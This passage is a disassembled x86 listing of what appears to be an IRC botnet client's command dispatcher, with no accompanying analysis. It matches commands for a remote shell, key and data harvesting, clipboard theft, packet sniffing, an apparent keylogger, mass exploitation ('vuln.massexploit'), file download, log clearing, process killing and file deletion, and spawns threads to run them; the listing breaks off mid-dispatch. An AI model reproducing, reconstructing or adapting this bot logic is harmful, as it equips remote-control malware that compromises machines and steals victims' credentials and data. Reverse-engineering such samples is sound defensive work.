lea eax, [ebp-2C8h]
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 1Ch
jmp loc_40BCFF
; ---------------------------------------------------------------------------
loc_40C752: ; CODE XREF: seg000:0040C70Fj
push edi
push offset aThreads_list ; "threads.list"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_4108FB
push edi
push offset aThreads_l ; "threads.l"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_4108FB
push edi
push offset aEnz_aliases ; "enz.aliases"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_4108DB
push edi
push offset aEnz_al ; "enz.al"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_4108DB
push edi
push offset aEnz_lo0g ; "enz.lo0g"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_4107EB
push edi
push offset aEnz_l0g ; "enz.l0g"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_4107EB
push edi
push offset aUtil_clearlog ; "util.clearlog"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_4107D2
push edi
push offset aUtil_clg ; "util.clg"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_4107D2
push edi
push offset aBox_netinfo ; "box.netinfo"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_41079B
push edi
push offset aBox_ni ; "box.ni"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_41079B
push edi
push offset aBox_sysinfo ; "box.sysinfo"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410770
push edi
push offset aSi ; "si"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410770
push edi
push offset aEnz_beg01ne ; "enz.beg01ne"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410736
push edi
push offset aEnz_010 ; "enz.010"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410736
push edi
push offset aBox_procs ; "box.procs"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_41062D
push edi
push offset aBox_ps ; "box.ps"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_41062D
push edi
push offset aBox_harvest ; "box.harvest"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410603
push edi
push offset aBox_key ; "box.key"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410603
push edi
push offset aBox_uptime ; "box.uptime"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_41057F
push edi
push offset aBox_up ; "box.up"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_41057F
push edi
push offset aBox_driveinfo ; "box.driveinfo"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410562
push edi
push offset aBox_drv ; "box.drv"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410562
push edi
push offset aBox_testdlls ; "box.testdlls"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410549
push edi
push offset aBox_dll ; "box.dll"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410549
push edi
push offset aBox_opencmd ; "box.opencmd"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410502
push edi
push offset aBox_ocmd ; "box.ocmd"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410502
push edi
push offset aBox_ocmd_off ; "box.ocmd.off"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40C99D
push dword ptr [ebp+esi-90h]
push 7
push offset aRemoteShell ; "Remote shell"
push offset aCmd ; "[CMD]"
jmp loc_40C3AE
; ---------------------------------------------------------------------------
loc_40C99D: ; CODE XREF: seg000:0040C983j
push edi
push offset aEnz_who ; "enz.who"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40CA2A
cmp [ebp-8], ebx
jnz short loc_40C9CD
push ebx
push dword ptr [ebp-4]
push offset aLoginList ; "-[Login List]-"
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 14h
loc_40C9CD: ; CODE XREF: seg000:0040C9B1j
mov edi, [ebp+20h]
xor esi, esi
loc_40C9D2: ; CODE XREF: seg000:0040CA18j
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_40C9DE
mov eax, offset aEmpty ; "<Empty>"
loc_40C9DE: ; CODE XREF: seg000:0040C9D7j
push eax
push esi
lea eax, [ebp-2C8h]
push offset aD_S ; "%d. %s"
push eax
call sub_4135AD
push 1
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 24h
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40C9D2
push offset dword_42AFD4
loc_40CA1F: ; CODE XREF: seg000:004109E7j
call sub_409615
pop ecx
jmp loc_410E98
; ---------------------------------------------------------------------------
loc_40CA2A: ; CODE XREF: seg000:0040C9ACj
push edi
push offset aBox_getclip ; "box.getclip"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_4104C1
push edi
push offset aBox_gc ; "box.gc"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_4104C1
push edi
push offset aUtil_flusharp ; "util.flusharp"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410496
push edi
push offset aUtil_farp ; "util.farp"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410496
push edi
push offset aUtil_flushdns ; "util.flushdns"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410472
push edi
push offset aUtil_fdns ; "util.fdns"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410472
push edi
push offset aVuln_currentip ; "vuln.currentip"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410435
push edi
push offset aVuln_cip ; "vuln.cip"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410435
push edi
push offset aServer_httpd_o ; "server.httpd.on"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_41029B
push edi
push offset aServer_web_on ; "server.web.on"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_41029B
push edi
push offset aServer_tftp_on ; "server.tftp.on"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_41015D
push edi
push offset aServer_tf_on ; "server.tf.on"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_41015D
push edi
push offset aVuln_massexplo ; "vuln.massexploit"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FE5E
push edi
push offset aVall ; "vall"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FE5E
mov edi, [ebp+esi-90h]
cmp edi, ebx
jz loc_40B71F
push dword ptr [ebp+10h]
push offset aEnz_nick ; "enz.nick"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FE45
push dword ptr [ebp+10h]
push offset aEnz_n ; "enz.n"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FE45
push dword ptr [ebp+10h]
push offset aEnz_join ; "enz.join"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FE25
push dword ptr [ebp+10h]
push offset aEnz_j ; "enz.j"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FE25
push dword ptr [ebp+10h]
push offset aEnz_part ; "enz.part"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FE0C
push dword ptr [ebp+10h]
push offset aEnz_pt ; "enz.pt"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FE0C
push dword ptr [ebp+10h]
push offset aEnz_raw ; "enz.raw"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FDD5
push dword ptr [ebp+10h]
push offset aEnz_r ; "enz.r"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FDD5
push dword ptr [ebp+10h]
push offset aThreads_kill ; "threads.kill"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FD12
push dword ptr [ebp+10h]
push offset aThreads_k ; "threads.k"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FD12
push dword ptr [ebp+10h]
push offset aClone_quit ; "clone.quit"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FC67
push dword ptr [ebp+10h]
push offset aClone_q ; "clone.q"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FC67
push dword ptr [ebp+10h]
push offset aClone_rndnick ; "clone.rndnick"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FC1C
push dword ptr [ebp+10h]
push offset aClone_rn ; "clone.rn"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FC1C
push dword ptr [ebp+10h]
push offset aEnz_prefix ; "enz.prefix"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FC07
push dword ptr [ebp+10h]
push offset aEnz_pr ; "enz.pr"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FC07
push dword ptr [ebp+10h]
push offset aBox_open ; "box.open"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FBDD
push dword ptr [ebp+10h]
push offset aBox_o ; "box.o"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FBDD
push dword ptr [ebp+10h]
push offset aEnz_setserve ; "enz.setserve"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FBB8
push dword ptr [ebp+10h]
push offset aEnz_se ; "enz.se"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FBB8
push dword ptr [ebp+10h]
push offset aEnz_dns ; "enz.dns"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FB56
push dword ptr [ebp+10h]
push offset aEnz_dn ; "enz.dn"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FB56
push dword ptr [ebp+10h]
push offset aBox_killprocna ; "box.killprocname"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FB2A
push dword ptr [ebp+10h]
push offset aBox_kpn ; "box.kpn"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FB2A
push dword ptr [ebp+10h]
push offset aBox_prockillid ; "box.prockillid"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FACF
push dword ptr [ebp+10h]
push offset aBox_pkid ; "box.pkid"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FACF
push dword ptr [ebp+10h]
push offset aBox_delete ; "box.delete"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FA98
push dword ptr [ebp+10h]
push offset aBox_del ; "box.del"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40FA98
push dword ptr [ebp+10h]
push offset aDcc_get ; "dcc.get"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F9B7
push dword ptr [ebp+10h]
push offset aDcc_gt ; "dcc.gt"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F9B7
push dword ptr [ebp+10h]
push offset aBox_filelist ; "box.filelist"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F99C
push dword ptr [ebp+10h]
push offset aBox_fl ; "box.fl"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F99C
push dword ptr [ebp+10h]
push offset aEnz_visit ; "enz.visit"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F8BE
push dword ptr [ebp+10h]
push offset aEnz_v ; "enz.v"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F8BE
push dword ptr [ebp+10h]
push offset aMirc_cmd ; "mirc.cmd"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F883
push dword ptr [ebp+10h]
push offset aMirc_cmd ; "mirc.cmd"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F883
push dword ptr [ebp+10h]
push offset aBox_cmd ; "box.cmd"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F838
push dword ptr [ebp+10h]
push offset aBox_cm ; "box.cm"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F838
push dword ptr [ebp+10h]
push offset aBox_readfile ; "box.readfile"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F7B3
push dword ptr [ebp+10h]
push offset aBox_rf ; "box.rf"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F7B3
push dword ptr [ebp+10h]
push offset aSniff ; "sniff"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_40D041
push edi
push offset aOn ; "on"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_40D00C
push 18h
call sub_4132A1
test eax, eax
pop ecx
jle short loc_40CF39
push offset unk_42AD2C
jmp loc_40D0AD
; ---------------------------------------------------------------------------
loc_40CF39: ; CODE XREF: seg000:0040CF2Dj
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-8Ch]
mov [ebp-4DCh], eax
mov eax, [ebp-4]
mov [ebp-454h], eax
mov eax, [ebp-8]
cmp esi, ebx
mov [ebp-450h], eax
jnz short loc_40CF7B
mov esi, offset dword_4282E4
push offset byte_42E348
push esi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40CF7B
mov esi, [ebp-8Ch]
loc_40CF7B: ; CODE XREF: seg000:0040CF5Dj
; seg000:0040CF73j
push esi
lea eax, [ebp-4D8h]
push 80h
push eax
call sub_413B2A
lea eax, [ebp-2C8h]
push offset unk_42ACE8
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 18h
push eax
call sub_413059
add esp, 20h
mov [ebp-458h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4DCh]
push ebx
push eax
push offset loc_4024DC
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-458h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40CFFB
loc_40CFE5: ; CODE XREF: seg000:0040CFF9j
cmp [ebp-44Ch], ebx
jnz loc_40D1C9
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40CFE5
; ---------------------------------------------------------------------------
loc_40CFFB: ; CODE XREF: seg000:0040CFE3j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_42AC98
jmp loc_40D1BA
; ---------------------------------------------------------------------------
loc_40D00C: ; CODE XREF: seg000:0040CF1Dj
push edi
push offset aOff ; "off"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_40D1C9
push ebx
push 18h
call sub_413254
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40D03A
push eax
push offset unk_42AC48
jmp loc_40D1BA
; ---------------------------------------------------------------------------
loc_40D03A: ; CODE XREF: seg000:0040D02Dj
push offset unk_42AC0C
jmp short loc_40D0AD
; ---------------------------------------------------------------------------
loc_40D041: ; CODE XREF: seg000:0040CF08j
push dword ptr [ebp+10h]
push offset aBox_kog ; "box.kog"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_40D1F3
push edi
push offset aOn ; "on"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_40D0C0
push edi
push offset aFile ; "file"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_40D0C0
push edi
push offset aOff ; "off"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_40D1C9
push ebx
push 1Ah
call sub_413254
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40D0A8
push eax
push offset unk_42ABAC
jmp loc_40D1BA
; ---------------------------------------------------------------------------
loc_40D0A8: ; CODE XREF: seg000:0040D09Bj
push offset unk_42AB6C
loc_40D0AD: ; CODE XREF: seg000:0040CF34j
; seg000:0040D03Fj ...
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
pop ecx
pop ecx
jmp loc_40D1C9
; ---------------------------------------------------------------------------
loc_40D0C0: ; CODE XREF: seg000:0040D067j
; seg000:0040D078j
push 1Ah
call sub_4132A1
test eax, eax
pop ecx
jle short loc_40D0D3
push offset unk_42AB38
jmp short loc_40D0AD
; ---------------------------------------------------------------------------
loc_40D0D3: ; CODE XREF: seg000:0040D0CAj
mov eax, [ebp+0Ch]
push edi
mov [ebp-4DCh], eax
mov eax, [ebp-4]
push offset aFile ; "file"
mov [ebp-454h], eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D102
mov dword ptr [ebp-450h], 1
jmp short loc_40D10B
; ---------------------------------------------------------------------------
loc_40D102: ; CODE XREF: seg000:0040D0F4j
mov eax, [ebp-8]
mov [ebp-450h], eax
loc_40D10B: ; CODE XREF: seg000:0040D100j
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jnz short loc_40D132
mov esi, offset dword_4282E0
push offset byte_42E348
push esi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D132
mov esi, [ebp-8Ch]
loc_40D132: ; CODE XREF: seg000:0040D114j
; seg000:0040D12Aj
push esi
lea eax, [ebp-4D4h]
push 80h
push eax
call sub_413B2A
lea eax, [ebp-2C8h]
push offset unk_42AB04
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 1Ah
push eax
call sub_413059
add esp, 20h
mov [ebp-4D8h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4DCh]
push ebx
push eax
push offset sub_4021FB
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-4D8h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40D1AE
loc_40D19C: ; CODE XREF: seg000:0040D1ACj
cmp [ebp-44Ch], ebx
jnz short loc_40D1C9
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40D19C
; ---------------------------------------------------------------------------
loc_40D1AE: ; CODE XREF: seg000:0040D19Aj
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_42AAB4
loc_40D1BA: ; CODE XREF: seg000:0040D007j
; seg000:0040D035j ...
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
add esp, 0Ch
loc_40D1C9: ; CODE XREF: seg000:0040CFEBj
; seg000:0040D01Bj ...
cmp [ebp-8], ebx
jnz loc_40BCFF
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 14h
jmp loc_40BCFF
; ---------------------------------------------------------------------------
loc_40D1F3: ; CODE XREF: seg000:0040D052j
push dword ptr [ebp+10h]
push offset aBox_net ; "box.net"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_40D4C4
cmp ds:dword_42F7D8, ebx
jz short loc_40D224
cmp ds:dword_42F800, ebx
jz short loc_40D224
push offset dword_42AA60
jmp loc_40D47E
; ---------------------------------------------------------------------------
loc_40D224: ; CODE XREF: seg000:0040D210j
; seg000:0040D218j
cmp [ebp-0Ch], ebx
jz loc_40D48C
mov eax, [ebp+esi-8Ch]
mov [ebp+8], ebx
cmp eax, ebx
mov [ebp+20h], eax
jz short loc_40D24C
push eax
push dword ptr [ebp-0Ch]
call sub_413B80
pop ecx
mov [ebp+8], eax
pop ecx
loc_40D24C: ; CODE XREF: seg000:0040D23Cj
push edi
push offset aStart ; "start"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D2B2
cmp [ebp+20h], ebx
jz short loc_40D286
push dword ptr [ebp+8]
push 3
loc_40D267: ; CODE XREF: seg000:0040D2C8j
; seg000:0040D2E0j ...
call sub_41114B
push eax
lea eax, [ebp-2C8h]
push offset aS_1 ; "%s"
push eax
call sub_4135AD
add esp, 14h
jmp loc_40D48C
; ---------------------------------------------------------------------------
loc_40D286: ; CODE XREF: seg000:0040D260j
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4113F2
add esp, 0Ch
test eax, eax
jz short loc_40D2A8
push offset dword_42AA20
jmp loc_40D47E
; ---------------------------------------------------------------------------
loc_40D2A8: ; CODE XREF: seg000:0040D29Cj
push offset dword_42A9EC
jmp loc_40D47E
; ---------------------------------------------------------------------------
loc_40D2B2: ; CODE XREF: seg000:0040D25Bj
push edi
push offset aStop ; "stop"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D2CA
push dword ptr [ebp+8]
push 4
jmp short loc_40D267
; ---------------------------------------------------------------------------
loc_40D2CA: ; CODE XREF: seg000:0040D2C1j
push edi
push offset aPause ; "pause"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D2E2
push dword ptr [ebp+8]
push 5
jmp short loc_40D267
; ---------------------------------------------------------------------------
loc_40D2E2: ; CODE XREF: seg000:0040D2D9j
push edi
push offset aContinue ; "continue"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D2FD
push dword ptr [ebp+8]
push 6
jmp loc_40D267
; ---------------------------------------------------------------------------
loc_40D2FD: ; CODE XREF: seg000:0040D2F1j
push edi
push offset aDelete ; "delete"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D318
push dword ptr [ebp+8]
push 1
jmp loc_40D267
; ---------------------------------------------------------------------------
loc_40D318: ; CODE XREF: seg000:0040D30Cj
push edi
push offset aShare ; "share"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D395
cmp [ebp+20h], ebx
jz short loc_40D368
cmp [ebp-9B0h], bl
jz short loc_40D33E
push ebx
push dword ptr [ebp+20h]
push 1
jmp short loc_40D349
; ---------------------------------------------------------------------------
loc_40D33E: ; CODE XREF: seg000:0040D334j
push dword ptr [ebp+esi-88h]
push dword ptr [ebp+20h]
push ebx
loc_40D349: ; CODE XREF: seg000:0040D33Cj
call sub_41152F
push eax
lea eax, [ebp-2C8h]
push offset aS_1 ; "%s"
push eax
call sub_4135AD
add esp, 18h
jmp loc_40D48C
; ---------------------------------------------------------------------------
loc_40D368: ; CODE XREF: seg000:0040D32Cj
push ebx
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_411724
add esp, 10h
test eax, eax
jz short loc_40D38B
push offset dword_42A98C
jmp loc_40D47E
; ---------------------------------------------------------------------------
loc_40D38B: ; CODE XREF: seg000:0040D37Fj
push offset dword_42A958
jmp loc_40D47E
; ---------------------------------------------------------------------------
loc_40D395: ; CODE XREF: seg000:0040D327j
push edi
push offset aUser ; "user"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_40D431
mov eax, [ebp+20h]
cmp eax, ebx
jz short loc_40D40A
cmp [ebp-9B0h], bl
jz short loc_40D3CB
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
push ebx
push eax
push 1
jmp short loc_40D3EB
; ---------------------------------------------------------------------------
loc_40D3CB: ; CODE XREF: seg000:0040D3B7j
push dword ptr [ebp-4]
mov esi, [ebp+esi-88h]
cmp esi, ebx
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
jz short loc_40D3E7
push esi
push eax
push ebx
jmp short loc_40D3EB
; ---------------------------------------------------------------------------
loc_40D3E7: ; CODE XREF: seg000:0040D3E0j
push ebx
push eax
push 2
loc_40D3EB: ; CODE XREF: seg000:0040D3C9j
; seg000:0040D3E5j
call sub_411845
push eax
lea eax, [ebp-2C8h]
push offset aS_1 ; "%s"
push eax
call sub_4135AD
add esp, 24h
jmp loc_40D48C
; ---------------------------------------------------------------------------
loc_40D40A: ; CODE XREF: seg000:0040D3AFj
push ebx
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_411D59
add esp, 10h
test eax, eax
jz short loc_40D42A
push offset dword_42A91C
jmp short loc_40D47E
; ---------------------------------------------------------------------------
loc_40D42A: ; CODE XREF: seg000:0040D421j
push offset dword_42A8EC
jmp short loc_40D47E
; ---------------------------------------------------------------------------
loc_40D431: ; CODE XREF: seg000:0040D3A4j
push edi
push offset aSend ; "send"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D479
cmp [ebp+20h], ebx
jz short loc_40D472
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call loc_41200D
push eax
lea eax, [ebp-2C8h]
push offset aS_1 ; "%s"
push eax
call sub_4135AD
add esp, 1Ch
jmp short loc_40D48C
; ---------------------------------------------------------------------------
loc_40D472: ; CODE XREF: seg000:0040D445j
push offset dword_42A8B8
jmp short loc_40D47E
; ---------------------------------------------------------------------------
loc_40D479: ; CODE XREF: seg000:0040D440j
push offset dword_42A888
loc_40D47E: ; CODE XREF: seg000:0040D21Fj
; seg000:0040D2A3j ...
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
pop ecx
pop ecx
loc_40D48C: ; CODE XREF: seg000:0040D227j
; seg000:0040D281j ...
cmp [ebp-8], ebx
jnz short loc_40D4AD
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 14h
loc_40D4AD: ; CODE XREF: seg000:0040D48Fj
; seg000:0040F828j ...
mov esi, [ebp+2Ch]
loc_40D4B0: ; CODE XREF: seg000:0040BD02j
; seg000:0040FB03j ...
lea eax, [ebp-2C8h]
push eax
call sub_409615
pop ecx
mov eax, esi
jmp loc_40B722
; ---------------------------------------------------------------------------
loc_40D4C4: ; CODE XREF: seg000:0040D204j
push dword ptr [ebp+10h]
push offset aEnz_gethost ; "enz.gethost"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F6CF
push dword ptr [ebp+10h]
push offset aEnz_gh ; "enz.gh"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F6CF
mov eax, [ebp+esi-8Ch]
cmp eax, ebx
mov [ebp+20h], eax
jz loc_40B71F
push dword ptr [ebp+10h]
push offset aEnz_addalias ; "enz.addalias"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F690
push dword ptr [ebp+10h]
push offset aEnz_aa ; "enz.aa"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F690
push dword ptr [ebp+10h]
push offset aEnz_privmsg ; "enz.privmsg"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F63D
push dword ptr [ebp+10h]
push offset aEnz_pm ; "enz.pm"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F63D
push dword ptr [ebp+10h]
push offset aEnz_action ; "enz.action"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F5CF
push dword ptr [ebp+10h]
push offset aEnz_ac ; "enz.ac"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F5CF
push dword ptr [ebp+10h]
push offset aEnz_cycle ; "enz.cycle"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F56C
push dword ptr [ebp+10h]
push offset aEnz_cy ; "enz.cy"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F56C
push dword ptr [ebp+10h]
push offset aEnz_mode ; "enz.mode"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F52D
push dword ptr [ebp+10h]
push offset aEnz_m ; "enz.m"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F52D
push dword ptr [ebp+10h]
push offset aClone_raw ; "clone.raw"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F4C2
push dword ptr [ebp+10h]
push offset aClone_ra ; "clone.ra"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F4C2
push dword ptr [ebp+10h]
push offset aClone_mode ; "clone.mode"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F440
push dword ptr [ebp+10h]
push offset aClone_m ; "clone.m"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F440
push dword ptr [ebp+10h]
push offset aClone_nick ; "clone.nick"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F3CF
push dword ptr [ebp+10h]
push offset aClone_ni ; "clone.ni"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F3CF
push dword ptr [ebp+10h]
push offset aClone_join ; "clone.join"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F3A9
push dword ptr [ebp+10h]
push offset aClone_j ; "clone.j"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F3A9
push dword ptr [ebp+10h]
push offset aClone_part ; "clone.part"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F346
push dword ptr [ebp+10h]
push offset aClone_p ; "clone.p"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F346
push dword ptr [ebp+10h]
push offset aEnz_repeat ; "enz.repeat"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F280
push dword ptr [ebp+10h]
push offset aEnz_rp ; "enz.rp"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F280
push dword ptr [ebp+10h]
push offset aEnz_delay ; "enz.delay"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F1E5
push dword ptr [ebp+10h]
push offset aEnz_de ; "enz.de"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F1E5
push dword ptr [ebp+10h]
push offset aDownload_updiz ; "download.updiz"
call sub_4139D0
